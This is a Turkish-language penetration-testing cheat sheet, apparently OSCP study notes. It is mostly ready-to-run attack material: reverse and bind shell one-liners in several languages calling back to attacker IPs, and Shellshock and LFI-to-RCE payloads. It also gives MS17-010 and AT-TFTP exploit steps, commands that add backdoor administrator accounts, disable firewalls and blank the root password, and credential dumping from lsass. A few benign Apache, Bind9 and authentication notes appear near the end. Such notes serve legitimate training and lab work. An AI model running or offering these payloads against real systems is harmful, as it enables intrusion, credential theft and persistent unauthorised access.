**Senaryo 1**: Eğer kurban makine doğrudan public ip adresi üzerinden internete erişiyorsa bu senaryo kullanılır. Kurban tarafında herhangi bir port yönlendirmeye ihtiyaç yoktur. Eğer saldırgan firewall/nat arkasında ise bu senaryoyu kulllanırsa kendi tarafında herhangi bir port yönlendirme yapmasına gerek yoktur. (Bind Shell)

```
# nc IP PORT (Attacker Machine)

# nc -vlp PORT -e cmd.exe (Victim Machine)
```

Senaryo 2: Eğer kurban makine bir firewall/nat arkasında ise bu durumda saldırgan kendi tarafında bir portu dinlemeye alır.(Ya saldırganın public ip adresiyle internete çıkmalı yada port yönlendirmelidir.) Saldırgan Bu işlemden sonra kurban makineden kendi makinesine reverse shell isteği yollar.

```
# nc -vlp PORT (Attacker Machine)

# nc ATTACKER-IP PORT -e /bin/bash (Victim Machine)
```

### Ncat

nmap tarafından geliştirilmiştir. Güvenlik cihazlarını atlatmak için bazı özelliklere sahiptir. nc clear-text olarak gider. ncat ise aradaki veriyi şifreleyerek gönderir.(Bind Shell)

```
# ncat -v IP PORT --ssl (Attacker Machine)

# ncat -vlp PORT -e cmd.exe --allow ATTACKER-IP PORT --ssl (Victim Machine)
```

## Passive İnfo Gather

GHDB;

```
 site:"sitename.com"
 filetype:pdf
 intitle:"İndex Of"
 inurl:"admin.php"
 intext:"admin password"
```

## Active İnfo Gather

```
host -t [ns,a,mx,cname,txt] musana.net
```

DNS Lookup : Domain adresinden IP adresini bulma.

Reverse DNS Lookup : Bir IP adresinde bulunan diğer domainlere ulaşma.

### Zone transfer

```
# host -l musana.net ns1.musana.net
```

### Nmap

```
# nmap IP

# nmap -sn IP (ICMP scan!, Ping Sweep, No port Scan)

# nmap -sT --top-ports 20 IP (TCP connection scan, en çok kullanılan 20 port)

# nmap -A IP (get banner, version, os detect, port scan)

# nmap --script *iis* IP

# nmap --script *smb* -p 139,445 IP

# nmap -p 139,445 IP --open (SMB Scan)

# nmap -p 139,445 --script=smb-check-vulns --script-args=unsafe=1 IP (***)

# locate *.nse | grep sbm

# nmap -v -p 80 --script http-vuln-cve2010-2861 IP (Directory Traversal)

# nmap -v -p 80 --script all IP (tested all script)
```

### nbtscan

NetBIOS name information

```
# nbtscan 192.168.2.0/24
```

### rpcclint

```
# rpcclient -U "" IP (password is empty)
rpcclient $> getdompwinfo (Get password policy)
```

### enum4linux

Enum4linux is a tool for enumerating information from Windows and Samba systems.

```
# enum4linux -v IP
```

### SMTP

```
# nc -nv IP 25 (Banner Info)
VRFY bob (250 user exist)
VRFY dontexist (550 user does not exist)
```

**Smb User Enumeration**;

`# for user in $(cat users.txt); do echo VRFY $user | nc -nv IP 25 2 > /dev/null | grep ^"250"; done`

**Do list** adding python script!

### smbclient

```
# smbclient -N -L IP
```

### SNMP

> For managing network device. UDP based! IP spoof. Clear-text. Weak Auth. Reflection Attack! Port: 161

```
# nmap -sU --open -p 161 IP
# onesixtyone -c community -i <ip.txt>
# snmpwalk -c public -v1 IP (for weak community string)
# snmpwalk -c public -v1 IP mib-vales (running proccess)
# snmpwalk -c public -v1 IP mib-vales (open port)
# snmpwalk -c public -v1 IP mib-vales (install software)
```

> snmpenum or snmpcheck (other tool)

## Vulnerability Scanning

\*\* slmail rce exploit.

TFTP udp based file transfer protocol. Windows 2003/XP/7. port 69.

## Privilege Escalation

### Linux

```
# cat /etc/issue (distro info)
# uname -a (kernel info )
```

> mempodipper - Linux root exploit >=2.6.39 x64 and x86 gcc exploit.c -o exploit

### Windows

> ms11-080 afd.sys privilege escalation exploit grouppolicy bak
>
> ```
> # net user test test /add
> # net localhroup administrators test /add
> # net localgroup "Remote Desktop Users" test /add
> ```


# Zayıf Servisler

Zayıf Servislerden Kaynaklı Hak ve Yetki Yükseltme Saldırıları

## Windows

### Seneryo 1

**ms11-080** exploiti indiridikten sonra .exe formatına dönüştürmek için aşağıdaki kod kullanılmalıdır. Elde edilen exe dosyası hedef makinede çalıştırıldıktan sonra SYSTEM haklarına ulaşmış olur.

```
# python pyinstaller.py --onefile ms11-080.py
```

### Simple Command

```
win> move source dest
win> copy source dest
```

3\. parti uygulamaların kurulduklarında beraberinde servisleri de sisteme yüklenir. Yüklenilen 3. parti bir uygulamanın servisine "services.msc" üzerinden ulaşılabilir. Çalışan servisin ".exe" dosyası bulunduktan sonra bu dosyayı çalıştırmaya hak ve yetkisi olan kullanıcıları listelemek için aşağıdaki komut kullanılmalıdır.

```
win> icacls.exe <exe_name.exe>
```

Yukarıdaki komut sonucunda ilgili exe üzerinde hak ve yetkileri olan kullanıcılar listenir. Bu kullanıcılar arasında oturum elde edilmiş düşük hak ve yetkideki kullanıcı olmasına dikkat edilir. Ayrıca "Everyone" kullanıcı var ise buna ait yetkilere de bakılmalıdır. Elde edilen çıktıda parantez içerisinde yer alan bazı kısaltmaların açıklamaları aşağıdadır.

> &#x20;F : Full Access \
> &#x20;D : Delete \
> &#x20;R : Read \
> &#x20;W : Write <br>

```c
#include <stdlib.h>

int main(){
    int i;
    i = system ("net localgroup Administrators lowpriv /add");
    return 0;
}
```

> yukarıda yer alan komutu linuxda windows platformuna uygun derlemek için `# i586-mingw32msvc-gcc exploit.c -o exploit.exe` veya `# i686-w64-mingw32-gcc exploit.c -o exploit.exe` olarak derlenir.
>
> > Eğer hata alınırsa;\
> > `i686-w64-mingw32-gcc afd.sys.c -o afdsys.exe -m32 -lws2_32` komutuyla derleme işlemi yapılabilir.

## Linux

### Find SUID Bits

```
# find / -perm -u=s -type f 2>/dev/null
# find directory -user root -perm -4000 -exec ls -ldb {} \; >/tmp/filename  
# find / -perm -2 ! -type l -ls 2 > /dev/null (List writable file)
```

```
#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null
```

Bash Reverse Shell

```
# bash -i >& /dev/tcp/IP/PORT 0>&1
```

Kernel Exploit

```
# mempodipper - Linux root exploit >=2.6.39 x64 and x86
# gcc exploit.c -o exploit
```


# Örnek Bir Senaryo

### Senayo 1:

Hedef web uygulamasına `dirbuster` başlat. (**wordlist**: /usr/share/dirbuster/wordlist/directory-list-1.0.txt)

HTTP basic auth mekanizmasına brute-force saldırısı yap. Bu işlem için cewl aracını kullan.

```
cewl domain.com -m 6 -w /root/file.txt 2 > /dev/null
```

> hash-identifier aracını kullanılan hash algoritmasını öğrenmek için kullanılabilir.

Kullanılan web uygulamasına ait exploit googledan araştırılır.

`python -c 'import pty; pty.spawn("/bin/bash")'`\
`EXPORT TERM=linux`

OS info;\
`cat /etc/issue`

Priv. esc. için googledan exploit aratılır. (`gimmeroot.c`)

Root olduktan sonra `.htaccess` dosyasından izin verilen ip adresleri öğrenilir.

> post/windows/gather/enum\_domain domain adı ve DC adına ait bilgileri getirir. Aşağıdaki komut DC'de bulunan grup policy dosyasını bulmak için kullanılır. Grup policy dosyasında kullanıcıya ait parola bilgisi yer alabilir. net use z: \MACHINE\_IP\SYSVOL

Grup policy dosyasında bulunan parola `gpp-decrypt` aracı kullanılarak kırılabilir.

### Port Forwarding ve Routing Meterpreter

Meterpreter oturumu elde edilen makine üzerinde meterpreter backgrounda alındıktan sonra aşağıdaki komut yardımıyla route kuralı tanımlanır.

```
msf > route add TARGET SUBNET METERPRETER_SESSION
```

Meterpreter oturumu elde edilen makinenin 445 portuna gelen trafiği "X.X.X.X" ip adresinin 445 portuna yönlendir.

```
meterpreter > portfwd add -l 445 -p 445 -r X.X.X.X
```

### winexe

```
# winexe -U Administrator%Password //IP "cmd"
# psexec.py ./eviluser:Password@IP cmd
```


# Parola Saldırıları

### Windows

pwdump ve fgdump araçları Win2k ve sonrası işletim sistemlerinde bellekte tutulan parola hashlerinin dump etmek için kullanılmaktadır. Bu araçlar ayrıca LM/NTLM parola hashlerini kırıp clear-text formatını sunabilecek özelliklere de sahiptir. Bu araçlar lsass.exe processine DLL injekte ederek parola hashlerini çıkarmaktadır. fgdump aracı, pwdump aracına göre daha gelişmiş özelliklere ve bazı tekniklere sahiptir. pwdump aracının güvenlik uygulamarına yakalanma riski yüksek iken fgdump antivirüs uygulamarını devre dışı bırakmaya çalışarak lsasss processinden dump almaya çalışır.

SAM Path;

```
%SystemRoot%/system32/config/SAM
```

**Lan Manager (LM Hash)** : Eski windows sürümlerinde kullanılan parolaların hasli halinin tutulduğu format. Eskiye dönük uyumluluk problemlerini çözmek için sonrasında desteklendi ancak Windows Vista'dan sonra bu destek kaldırıldı. LM hash zayıf hash(MD4) algoritması kullandığından dolayı parolaların clear-text haline ulaşmak kolaylıkla mümkündür. SAM database os çalışırken kopyalanamaz. Ancak lsass.exe processi dump edilerek bu bilgiler elde edilebilir. Win2003 ve öncesi LM ve NTLM hashi destekler. Vista ve sonrasında LM desteği kalktı. Sadece NTLM kullanıldı

**NT Lan Manager (NT Hash a.k.a NTLM Hash)** : Microsoft Windows'un daha modern işletim sistemlerinde kullandığı gizlilik, bütünlük ve yetkilendirmeyi sağlayan bir kimlik doğrulama mekanizmasıdır. NT kimlik doğrulamasındaki zayıflık/eksikliklerden dolayı geliştirilmiştir. Bellek üzerinden elde edilen parolaların Hash formatı kullanılarak başka makinelerde oturum açmak mümkündür. Bu yansıtma(reflection) saldırı Pass The Hash (PTH) olarak geçer. Windows Vistadan sonra NT Hash kullanılmaya başlandı.

> PTH saldırılarından korunmak için windows NT 4.0 ile beraber gelen syskey aracı kullanılabilir. Bu araç 128 bitlik bir anahtar ile SAM veritabanında bulunan kimlik bilgilerini şifrelemektedir.

Wordlist directory;

> /usr/share/wordlists

### crunch

```
# crunch 6 6 ABCDEF1234567890 -o list.txt


# crunch 8 8 -t ,@@^^%%% (for exp. Afs!?432)
```

> , : Upper Case\
> @ : lower case\
> ^ : special character\
> % : Number

### med

### pwdump

### fgdump

[fgdump.exe](http://foofus.net/goons/fizzgig/fgdump/downloads.htm) aracı indirilip yönetici haklarında çalıştırıldığında kullanıcılara ait parola hashlerini bellekten çıkarır.

### windows credential editor (wce)

[https://www.ampliasecurity.com/research.html](https://app.gitbook.com/s/-LYxOr58iOR1nh40YKQW/wce.exe) adresinden indirilip doğrudan çalıştırıldığında bellekte bulunan kullanıcı parola özetlerini(LM/NTLM) dump eder.

```
# wce32.exe -w
```

### Port Forwarding

Bir porta gelen trafiğin başka bir IP/porta yönledirme işlemidir.

> Eğer bir kurumsal ağda bulunan bir makineye sadece 80 ve 443 portu üzerinden(firewall tarafından böyle bir kural girilmiştir.) internete erişim izni verilmiştir. Bu durumda proxy olarak kullanılacak makinede aşağıdaki komutlar yazılarak `rinetd` servisi yeniden başlatılır. Aşağıdaki komut ile proxy makinesi kendisine 80 portu üzerinden gelen trafiği Y.Y.Y.Y ip adresine sahip makinenin 3389(RDP) portuna yönlendirecektir. (X : proxy makine, Y : hedef, Z : kurum makinesi)

`Z.Z.Z.Z:45312 ----> X.X.X.X:80 -----> Y.Y.Y.Y:3389`

```
# nano /etc/rinetd.conf
# ProxyIp ProtxyPort RedirectIP RedirectPort (For exp. X.X.X.X 80 Y.Y.Y.Y 3389)
# /etc/init.d/rinetd restart
```

#### SSH Local Port Forwardin (Encrypted SSh Tunnel)

Burası Eksik yazılacak.

### Cewl

```
cewl -d 1 -m 8 IP -w output.txt
```


# ms17-010 python exploit

[ms17-010](https://github.com/mez0cc/MS17-010-Python) aracını indir.

**check**

```
# python zzz_checker.py -t IP
```

**add user**

```
# python zzz_exploit.py -t IP -c 'net user eviluser Password1 /add'
```

**add user to localgroup**

```
# python zzz_exploit.py -t IP -c 'net localgroup Administrators eviluser /add'
```


# Full Interactive Shell

### Part 1

Aşağıdaki komutlardan biriyle ile reverse shell bağlantısı alınır.

SOCAT

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 (Victim) 
```

BASH

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

PERL

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

PYTHON

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

RUBY

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

NETCAT

```
nc -e /bin/sh 10.0.0.1 1234
```

### Part 2

Aşağıdaki komutlardan biriyle interactive shell elde edilir.

PYTHON:

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
```

BASH

```
echo os.system('/bin/bash')
/bin/sh -i
```

PERL

```
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
```

RUBY

```
ruby: exec "/bin/sh"
```

LUA

```
lua: os.execute('/bin/sh')
```

### Part 3

Oturum backgrounda atılır(ctrl + z) ve aşağıdaki komutlar girilir.

Kali

```
# stty raw -echo
# fg + [Enter x 2]
```

Victim

```
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
```


# Notes\*

Eğer ms08-67 exploiti var olmasına rağmen exploit edilemiyorsa veya encoding hatası alınırsa payloadı değiştir. Daha küçük payloadlar kullan. windows/shell\_reverse\_tcp gibi. meterpreter kullanma. payload büyük olursa metasploit "Exploit failed: No encoders encoded the buffer successfully." hatasını verir.

&#x20;\*\***Eğer administrator hesabı pasif ise STATUS\_USER\_SESSION\_DELETED hatası verilir**&#x20;

## Enable RDP

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```

User Yoksa:&#x20;

ERROR: Failed to open connection - NT\_STATUS\_LOGON\_FAILURE

User ve ama yetki yoksa ERROR:&#x20;

Cannot connect to svcctl pipe. NT\_STATUS\_ACCESS\_DENIED.

exploitin başarılı olması için IPC$ paylaşımına erişmesi lazım.&#x20;

"You just need access to the IPC$ share, not a named pipe."

### Disable Firewall

```
XP:
netsh firewall set opmode mode=DISABLE

New Windows Ver:
netsh advfirewall set allprofiles state off
```

### Compile C code to exe in Linux

```
i686-w64-mingw32-gcc 646.c -lws2_32 -o 646.exe
```

### ShellShock

```
env x='() { :;}; echo vulnerable' bash -c "ps aux"
env x='() { :;}; /usr/bin/id' /bin/bash -c "/usr/bin/id"
/usr/bin/env x='() { :;}; /usr/bin/id' /bin/bash -c "ps aux"
```

Find writable files for user: `find / -writable -type f 2>/dev/null | grep -v ^/proc`&#x20;

&#x20;Find files which have stickey bit on `/bin/find / -perm -4001 -type f 2>/dev/null`

### shellshock

```
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.11.0.94/1234 0>&1
```

### Add diretory to PATH

```
export PATH=$PATH:/usr/bin/
```

### Samba version

```
msf > scanner/smb/smb_version
```

### 64 Bit c and c++ compile in Linux

```
# C
i686-w64-mingw32-gcc hello.c -o hello32.exe      # 32-bit
x86_64-w64-mingw32-gcc hello.c -o hello64.exe    # 64-bit
 
# C++
i686-w64-mingw32-g++ hello.cc -o hello32.exe     # 32-bit
x86_64-w64-mingw32-g++ hello.cc -o hello64.exe   # 64-bit
```

### ssh user enumeration

```
for user in $(cat users.txt); do python sshuserenum.py --username $user IP; done
```

### udev 2.6

[udev exploit tutorial](https://blackwintersecurity.com/tutorials/)

### If /etc/passwd is writable;

```
$ echo root::0:0:root:/root:/bin/bash > /etc/passwd
```

then;

```
su
```

root is gained!

### writable file and directory

```
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
```


# Apache James Server 2.3.2 Exploit

james administrator varsayılan kullanıcı adı parola bilgisi `root:root` dur. Yönetici paneline bağlanmak için;

```
# telnet IP 4555
<!-- remote administrator tool 2.3.2 BANNER INFO -->
Login id:
root
Password:
root
<!-- login must be success. -->
listusers
setpassword <user> <pass>
```

Yukarıdaki komutlar ile ilgili kullanıcılar listelenir ve parola bilgisi resetlenir. Daha sonra 110 portan (pop3)'den bağlanılarak ilgili kullanıcılara ait mailler okunabilir.

```
# telnet IP 110
USER <username>
PASS <password>
<!-- if success -->
LIST
RETR <mail id>
```

[Apache James Server 2.3.2 - Remote Command Execution](https://www.exploit-db.com/exploits/35513) exploiti çalıştırıldıktan sonra sisteme payloadı göndermektedir. Herhangi bir kullanıcı giriş yaparsa payload çalışacaktır. Paylaoada reverse shell eklenerek hedef makineden oturum alınabilir.

Başarılı bir şekilde reverse shell alındıktan sonra binary dizinleri path'e eklenir. Daha sonra kernel bilgisine bakılır. Kernel sürümü [mempodipper](https://www.exploit-db.com/exploits/18411) zafiyettinden etkilenmektedir. Bu zafiyet hedef makineye gönderilip `gcc mempodipper.c -o mempodipper` komutuyla derlenip çalıştırıldıktan sonra root shell alınır.&#x20;


# windows exploit suggester

[Repoda](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) yer alan python kodu indirilir.

```
# python windows-exploit-suggester.py --update
# pip install xlrd
# python windows-exploit-suggester.py --database updaten-sonra-inecek-dosya.xlsx --systeminfo systeminfo.txt 
```


# FreeBsd and Some PHP tricks

Php reverse shell (restricted case or freebsd system)

```
<?php $sock = fsockopen("10.1.1.1",1337); $proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
```

### Freebsd 9.x Exploit

[Exploit1](https://www.exploit-db.com/exploits/26368) and [Exploit2](https://www.exploit-db.com/exploits/28718)&#x20;


# fundamental blog

[first](https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html)

[review](https://jhalon.github.io/OSCP-Review/)

[windows post exploit - fuzzysec](http://www.fuzzysecurity.com/tutorials/16.html)

[windows enum script - powershell](https://github.com/411Hall/JAWS)

[hacktricks](https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters)

[rewiev 2](https://jhalon.github.io/OSCP-Review/)


# Metasoloit & Meterpreter & msfvenom

Create Backdoor All Format;

{% embed url="<https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/>" %}

{% embed url="<https://netsec.ws/?p=331>" %}

Eğer bir meterpreter oturumu alındıktan çok kısa bir süre sonra sonlanıdırılıyor ise (örneğin 5 saniye); bu durumda multi handler modülünde bulunan `AutoRunScript` parametresi kullanılarak, oturum elde edilir edilmez doğrudan auto bir şekilde migration işlemini gerçekleştiririr.

```
msf > use exploit/multi/handler
msf (handler) > set AutoRunScript multi_console_command -rc /root/mycommands.rb


<!-- The contents of /root/mycommands.rb include: -->
root@kali# cat /root/mycommands.rb
run post/windows/manage/smart_migrate
run post/windows/manage/killfw
```

Daha makul bir kullanım aşağıdaki şekildedir.

> ```
> msf>use exploit/multi/handler
> msf>set payload windows/meterpreter/reverse_https
> msf>set AutoRunScript post/windows/manage/migrate
> msf>set lhost <local IP>
> msf> set lport <local port>
> msf>exploit
> ```


# at-tftp server 1.9

Exploit : AT-TFTP Server 1.9

[Python Exploit File ](https://gist.github.com/AfroThundr3007730/bc29e9f3475401657b2dc1aa97142545)

```
# printf '\x81\xec\xac\x0d\x00\x00' > payload
# msfvenom -p windows/meterpreter/reverse_nonx_tcp LHOST=10.11.11.11 LPORT=4433 -a x86 --platform Windows -e generic/none -f raw >> payload

Aşağıdaki komut ile beraber çıkan çıktıyı python dosyasında yer alan payload değişkenine set et.
# cat payload | msfvenom -p - -e x86/shikata_ga_nai -b "\x00" -f c -e x86/shikata_ga_nai -a x86 --platform Windows


Daha sonra multi/handler üzerinden port dinleme moduna alınır ve aşağıdaki komut ile python dosyası çalıştırılır.
# python telesynftp.py 10.11.11.13 69 10.11.11.11 10
```


# Tunneling and Forwarding

### SSH port forwarding

> Aşağıdaki komut ile localhost'un 8090'nına giden trafiği 192.168.230.1 makinesinin 80 portuna yönlendiriyoruz.

```
# ssh -L 8090:192.168.230.1:80 127.0.0.1
```


# Common Exploits

## Samba trans2open Overflow (Linux x86) / 10.11.1.22

> This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8.

## dirty cow exploit

> Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE\_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)

## Linux Kernel 2.6.39 < 3.2.2 - 'Mempodipper' Local Privilege Escalation

## Webdav exploit

> windows/iis/iis\_webdav\_upload\_asp

## linux/samba/trans2open (Samba 2.2.x) - [exploitdb-link](https://www.exploit-db.com/exploits/10) Samba < 2.2.8

> samba servisine yönelik kullanılacak exploit

## Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046) win7/winserver2008 ve öncesi oslarda çalışıyor. - afd.sys Privilege Escalation (MS14-040), PoC

## accesschk.exe

```
# sc config upnphost binpath= "net eviluser testxlab Password1 /add"
# sc config upnphost binpath= "net localgroup Administrators eviluser /add"
# sc stop upnphost
# sc start upnphost
```

**Servisin Config Ayarlarını Görmek için**

```
# sc qc upnphost
```

**Servislerin izin kontrolleri**

```
# accesschk-xp.exe  -uwcqv "Authenticated Users" * /accepteula
```

> kullanımı yazılacak

**Notlar**

> Windows xp, xp sp1, sp2 gibi sistemlerde upnphost servisi üzerinden hak ve yetki yükseltebilirsin.

LFI to RCE

```
POST /section.php?page=php://input%00

[HTTP POST DATA] 
<?php echo shell_exec("bash -i >& /dev/tcp/10.11.0.94/443 0>&1 2>&1"); ?>
```

### ms11-080

{% embed url="<https://hackingandsecurity.blogspot.com/2016/05/ms11-080-privilege-escalation-windows.html>" %}

\##


# Windows Servisler

## Zayıf Konfigrasyondan Kaynaklanan Hak ve Yetki Yükseltme

`accesschk.exe` aracı kullanılarak servisler ile ilgili bilgi edinebilir.

* Servise ait konfigrasyon dosyasının editlenebilmesi
* Servisin çalıştırdığı exe dosyasının bulunduğu dizinde yazma izninin olması
* Servisin çalıştıracağı exe nin bulunduğu dizinin pathinde boşluk bulunması
* Kayıt defterinde `HKLM/Windows/....,` yolunda bulunan anahtara yazma.

## Servis Enumeration

Düşük hak ve yetkide ele geçilen makinede zayıf servis konfigrasyonlarını taramak için accesschk.exe aracı aşağıdaki parametrelerle kullanılmalıdır.

```
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
```

Yukarıdaki komut servisler ile kimlik doğrulayan kullanıcıların servisler üzerindeki yetkilerini verir.


# Execute process as another user

&#x20;\+ **Execute process as another user (with credentials)**<br>

1. &#x20;Create a ps1 file e.g. run.ps1 with powershell commands as below:

   ```
   $secpasswd = ConvertTo-SecureString "<admin_pass_clear_text>" -AsPlainText -Force
   $mycreds = New-Object System.Management.Automation.PSCredential ("<Admin_username>", $secpasswd)
   $computer = "<COMPUTER_NAME>"
   [System.Diagnostics.Process]::Start("C:/users/public/<reverse_shell.exe>","", $mycreds.Username, mycreds.Password, $computer)
   ```
2. &#x20;Upload run.ps1 to victim's machine
3. &#x20;Execute powershell command:

   ```
   powershell -ExecutionPolicy Bypass -File c:\users\public\run.ps1
   ```


# Authentication and Authorization

Kimlik Doğrulama ve Yetkilendirme

Kimlik doğrulama(authentication) ve Yetkilendirme(authorization) terimleri arasında ciddi farklar vardır.

Authentication bir sistemde/uygulamada kullanıcı/servis kimliğinin doğrulaması işlemine verilen isimdir. Bu süreçte sadece kullanıcının ilgili sisteme erişim sağlaması için istenilen bilgilerin doğruluğu teyit edilmektedir. Bu durum genellikle kullanıcı adı ve parola ikilisinden oluşmanın yanında biometrik doğrulama veya sertifika tabanlı(private key) gibi doğrulama yöntemleride authentication kapsamında değerlendirilir. Authentication, authorization aşamasından önce gelir, gelmek zorundadır.

Öte taraftan authorization ise yetkilendirme mekanizmasıyla ilgili olduğu için daha çok izinlerin kontrolunu sağlamak amacıyla kullanılan yöntemleri ifade etmek için kullanılır. Bir kullanıcının bir uygulama/servise erişim hakkının/izninin olup olmadığı veya erişim izni olabilir ancak yazma izninin olup olmadığı gibi durumları kontrol eder. Sistem üzerindeki her hak ve yetki kontrolu özetle authorization ile ifade edilir.

Authorization iki kısımdan oluşur. &#x20;

&#x20;. Sistem yöneticisi kaynaklar üzerindeki izinleri ayarlar.\
&#x20;. Sistem/uygulama izinleri set edilen kaynağa erişim gerçekleştirdiği zaman yapacağı işlemler için yetkilendirme kontrolu yapması. ve ilgili izinlere sahip olması durumunda değiştirme, okuma vs gibi işlemleri yapabilmesi için doğrular.<br>

Yukarıda da anlaşılacağı üzere authentication her zaman authorization aşamasından önce gelmelidir. Aksi durumda bir güvenlik ihlali söz konusudur.


# Kullanıcı Hesap Türleri ve Hakları

Standart User:

&#x20;. Sadece kendisini etkileyen bütün işlemleri yapabilir. Başka kullanıcıların etkileneceği işlemleri yapmaya izni yoktur. Driver ekleme gibi örneğin. Sistem ile ilgili değişiklik yapılacağı durumlarda yönetici izni istenir.

Administrator:

Herşeyi yapma hakkına sahip olan kullanıcı hesap türüdür.

Guest:

Varsayılan kapalı olarak gelen bu hesap gecici olarak bilgisayara erişim gerektiği durumlarda kullanılır.

Hiçbir şey yapmaya yetkisi yoktur.


# Kerberos

&#x20;**Not...**&#x130;şletim sistemi kurulumu tamamlandığında bilgisayar üzerinde yapacağımız günlük standart işlemler için

&#x20;standard user ve  yönetimsel ayrıcalık gerektiren işlemler için administrator hesabı oluşturmalıyız.

&#x20;Standard kullanıcı hesabını kullanmak, administrator hesabını kullanmaya göre daha güvenlidir.

&#x20;Çünkü bu hesap sistem üzerinde değişiklik yapmak istediğinde yukarıda bahsettiğimiz yönetici ayrıcalıklarını

&#x20;isteyecektir.

&#x20;**Windows Kimlik Doğrulama Yöntemleri**

&#x20;Kullanıcılar,ağ üzerinden kaynaklara erişirken kimliklerini doğrulatmalıdırlar.

&#x20;Kimlik doğrulama işlemi, ağ'a oturum açılırken yapılır.

&#x20;**Kerberos Version 5 Protocol**

&#x20;Windows işletim sistemi çalıştıran sunucu ve istemcilere bağlantı sırasında kullanılan ana kimlik doğrulama

&#x20;yöntemidir. Kullanıcı ve bilgisayar hesapları için kimlik doğrulama imkanı tanır.

&#x20;**Windows NT Lan Manager (NTLM)**

&#x20;Windows 2000 öncesi işletim sistemleri ve bazı uygulamalar için geriye dönük uyumluluk sağlar.

&#x20;Sağladığı uyumluluğun yanında Kerberos'a göre daha güvensiz,daha yavaş ve kullanışsızdır.

&#x20;**Certificate Mapping**

&#x20;Smart card ile beraber kullanılır. Kullanıcı kimliğinin doğrulanması için gerekli olan sertifika

&#x20;smart card içerisinde depolanır.

&#x20;Smart Card reader kullanılarak,smart card içerisinde sertifika okunarak kullanıcının kimliği doğrulanır.


# Apache2

Apache kullanarak içerdeki belirli bir porta traffiği yönlendirmek.

Öncellikle ilgili apache modülü aktifleştirilir.

```
a2enmod proxy
a2enmod proxy_http
```

Daha sonra oluşturulan virtual host dosyasına aşağıdaki kayıt girilir.

```
<VirtualHost *:80> 
    ProxyPreserveHost On
    ProxyRequests Off
    ServerName bitwarden.domain.com
    ProxyPass / http://{local_docker_ip}:{local_docker_port}/
    ProxyPassReverse / http://{local_docker_ip}:{local_docker_port}/
</VirtualHost> 
```

Apache servisi yeniden başlatılır.


# Bind9 Log

Log işlemini aktifleştirmek ve pasifleştirmek için aşağıdaki komut kullanılır.

```
rndc querylog
```

Loglara ubuntuda `/var/log/syslog`veya `/var/log/messages`dosyalarındn erişilebilir.\
\
Kalıcı hale getirmek için;

```
vi /etc/named.conf
...
options {
	    querylog yes;
}

...
logging {
        channel querylog {
                file "/var/log/querylog";
                severity debug 3;
        };
};
```

logları querylog adlı dosyada toplayabilmek için;

```
touch /var/log/querylog
chown named.named /var/log/querylog
service named restart
```


# apache - basic auth - proxy

```
<VirtualHost *:80>
    ServerAdmin info@xxxxxx
    ServerName xxx.xxx.com
    DocumentRoot /var/www/html/xxx.xxxx.com
    ServerAlias xxxx.xxx.com
    DocumentRoot /var/www/html/xxx.xxxx.com

    ProxyPreserveHost On
    ProxyRequests Off
    ProxyPass /  http://xx.x.xxx.xxx:xxxx/
    ProxyPassReverse /  http://xx.x.xxx.xxx:xxxx/

    <Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>

<Location />
  AuthType Basic
  AuthName "Attention"
  AuthBasicProvider file
  AuthUserFile "/var/www/.htpasswd"
  Require valid-user
</Location>

    ErrorLog /var/log/apache2/xxxx.xxxxxx.com-error.log
    LogLevel error
    CustomLog /var/log/apache2/xxxx.xxxxx.com-access.log combined
</VirtualHost>
```


# BOF - Stack Based

## Buffer Overflow

> Stack Based Buffet Overflow
>
> ### Fuzzing
>
> Uygulamada bulunan girdi noktalarına fuzzing uygulanır. Bu işlem için aşağıdaki python kodu ile bir soket başlatılıp TCP üzerinden data gönderilebilir.

```python
#/usr/bin/python2
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('IP', PORT))

    s.send(("PRE-COMMAND" + buffer))
    s.close()
    sleep(1)
    buffer = buffer + "A" * 100
    print "Send %s" % str(len(buffer))
```

Fuzzing işlemi sırasında program crashlenir ise "access violation" hatası alınırsa büyük ihtimal ile bof zafiyeti vardır. Immunity Debugger'dan `EIP, EAX` gibi registerların değerine bakılabilir.

Crash kaç byte gönderildikten sonra alınmış ise o boyutta pattern oluşturulup gönderilir. Bunu yapmaktaki amaç kaç byte'dan sonra `EIP ve ESP` registerlarına yazıyor bilgisine ulaşmak.

### Offset Bulma

